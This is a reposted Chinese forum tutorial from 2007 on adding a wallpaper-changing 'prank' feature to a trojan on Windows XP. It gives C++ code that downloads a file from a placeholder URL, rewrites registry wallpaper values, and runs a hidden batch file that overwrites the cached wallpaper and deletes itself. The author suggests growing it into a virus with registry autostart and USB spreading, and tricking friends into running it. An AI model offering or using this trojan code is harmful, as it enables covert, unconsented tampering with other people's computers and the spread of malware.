忘记密码
 新成员注册
查看: 888|回复: 0

[转帖]利用C++让木马也能修改桌面背景

[复制链接]
我的人缘0
发起活动
0 次
参加活动
0 次
龙能跃 发表于 2007-10-25 10:28 | 显示全部楼层 |阅读模式

你还没有登录,登录后可以看到更多精彩内容

您需要 登录 才可以下载或查看,没有账号?新成员注册

×
很多远程操作软件都带有一些恶作剧功能,但是很少有能够修改桌面背景的。其实实现这一功能也很简单,我们自己就可以做一个。

首先我们要了解系统是如何修改桌面背景的。一般来说,系统总是通过注册表来实现某些功能设置的。由于不同操作系统对注册表的修改可能不同,这里我们以windows xp为例进行演示。为什么要选择windows xp作为例子呢?一是因为使用的人多,二是修改起来也比其他系统要复杂,复杂的我们都会了,简单的还用说吗?我们先将桌面背景设置为g:\pb\pb_michael_1024x768.jpg这张图片,然后在注册表中搜索pb_michael_1024x768.jpg, 如图1所示,可以发现与三个键值有关,分别是:


hkey_current_user\control panel\desktop\convertedwallpaper

hkey_current_user\software\microsoft\windows\

currentversion\explorer\desktop\backgroundmanager\oldconverted

wallpaper(部分windows xp版本不存在该键值)

hkey_current_user\software\microsoft\windows\

currentversion\themes\lasttheme\wallpaper

其中,lasttheme是上一个主题,oldconvertedwallpaper是上一张桌面,显然与现有桌面无关,可以排除,这样就剩下一个键值了。修改这个键值为一张新图片的地址,发现桌面并没有改变,重新启动计算机,结果桌面背景为空白
难道只修改注册表还不能改变桌面背景?重新打开注册表,再搜寻一番,发现hkey_

current_user\control panel\desktop\下多个键值都为c:\documents and settings\

administrator\local settings\application data\microsoft\wallpaper1.bmp,打开该图片,显示的是之前pb_michael_

1024x768.jpg的图片,原来每次设置桌面背景,系统都会将图片处理后复制到这里(为什么知道是被系统处理过的呢?因为文件大小和文件名都改变了)。因此,只要我们将要设置成桌面的图片先设置成桌面,然后将wallpaper1.bmp复制出来(这步很重要,系统只认识处理过的图片,否则就会出现上文中的空白桌面),放在d:\1.bmp,然后将桌面背景换成其他图片,设置完成后,原来的文件c:\documents and settings\administrator\local settings\application data\microsoft\wallpaper1.bmp也会随之改变,现在只要将上文提到的那个键值修改为d:\1.bmp,并将d:\1.bmp覆盖掉c:\documents and settings\administrator\local settings\application data\microsoft\wallpaper1. bmp就可以了。不过这样修改不会马上生效,需要重启计算机后,才能得到修改后的桌面。

有了思路,用代码就很容易实现了。我们首先用代码实现把所需要的文件下载下来。

void down()  //下载   {

urldownloadtofile(null,"http://website/jl.bmp","c:\\progra~1\\messenger\\jl.bmp",0,null)

//下载文件,jl.bmp是原先设置过桌面时的wallpaper1.bmp );

}

小提示:progra~1其实是program files的短文件名。由于当中有空格,系统无法识别长文件名,将长文件名转化为短文件名很简单,只要去掉空格,取前6位字母再加上~1,例如documents and settings短文件名是docume~1,local settings短文件名是locals~1。

然后再实现修改注册表,具体代码如下。

int getname()

//获取当前用户名并修改墙纸,需要重启生效

{

char szname[1024];

unsigned long lens = sizeof(szname);

getusername(szname, &lens );

//获取当前用户名

static char subkey1[] = "control panel\\desktop";

static char vname1[] = "convertedwallpaper";

static char exefile1[] = "c:\\progra~1\\messenger\\jl.bmp";

ulong dtype = reg_sz, len = 0;

hkey hkey;

regopenkeyex(hkey_current_user,subkey1,0,key_set_value|key_query_value,&hkey);

//打开注册表

regsetvalueex(hkey, vname1, 0, reg_sz,(byte *)exefile1, strlen(exefile1)+1); //加上。

regclosekey(hkey);  //关闭注册表

file *f; //复制一份图片,利用批处理复制。

f=fopen("change.bat","w=");

fprintf(f,"copy c:\\progra~1\\messenger\\jl.bmp

c:\\docume~1\\%s\\locals~1\\applic~1\\microsoft

\\wallpaper1.bmp",szname);

//注意使用短文件名,由于用户名不同,wallpaper1.bmp地址也不同,所以要获取当前用户名

       fprintf(f,"\n");

       fprintf(f,"del change.bat");//自删除

       fclose(f);

       winexec("change.bat",sw_hide);

  return 0;

}

至此,修改桌面的功能就完成了。至于其他系统,大家可以参考这一方法来修改。比如在windows2000 profession中,只要修改hkey_current_user\control panel\desktop\wallpaper,不用再复制图片。如果要完善它成为一个小病毒的话,可以通过注册表完成自启动,通过u盘传播(详细请参考黑客防线总第71期105页)。另外,新年快到了,如果我们将代码中提到的图片改成祝贺新年快乐的图片,再将程序发给朋友运行,当朋友再次启动计算机时,或许会获得一些意外的效果呢。

踩过的脚印
充实自我,展现自我!没有完美的个人,只有优秀的团队!计协我的家,建设靠大家!只有真正的融入了,你才会体会快乐哦~
您需要登录后才可以回帖 登录 | 新成员注册

本版积分规则

QQ|手机版|CA之家 ( 桂ICP备07006672号-6 )

GMT+8, 2025-9-15 23:08

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表